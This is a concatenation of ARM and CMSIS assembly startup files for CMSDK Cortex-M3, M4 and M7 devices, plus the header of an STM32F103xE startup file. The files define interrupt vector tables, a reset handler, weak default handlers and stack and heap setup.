EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 11,418 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_CM7/Source/ARM/startup_CMSDK_CM7.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM7.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM7 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 11,418 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_CM3/Source/ARM/startup_CMSDK_CM3.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM3.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM3 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 11,418 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_CM4/Source/ARM/startup_CMSDK_CM4.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM4.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM4 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 16,039 | source/hal/driver/ST/STM32F103/STM32F103ZE/startup_stm32f103xe.s | ;******************** (C) COPYRIGHT 2017 STMicroelectronics ********************
;* File Name : startup_stm32f103xe.s
;* Author : MCD Application Team
;* Description : STM32F103xE Performance Line Devices vector table for EWARM toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == __iar_program_start,
;* - Set the vector table entries with the exceptions ISR
;* address.
;* - Configure the system clock
;* - Branches to main in the C library (which eventually
;* calls main()).
;* After Reset the Cortex-M3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;*******************************************************************************
;* @attention
;*
;* <h2><center>© Copyright (c) 2017 STMicroelectronics.
;* All rights reserved.</center></h2>
;*
;* This software component is licensed by ST under BSD 3-Clause license,
;* the "License"; You may not use this file except in compliance with the
;* License. You may obtain a copy of the License at:
;* opensource.org/licenses/BSD-3-Clause
;*
;*******************************************************************************
;
;
; The modules in this file are included in the libraries, and may be replaced
; by any user-defined modules that define the PUBLIC symbol _program_start or
; a user defined start symbol.
; To override the cstartup defined in the library, simply add your modified
; version to the workbench project.
;
; The vector table is normally located at address 0.
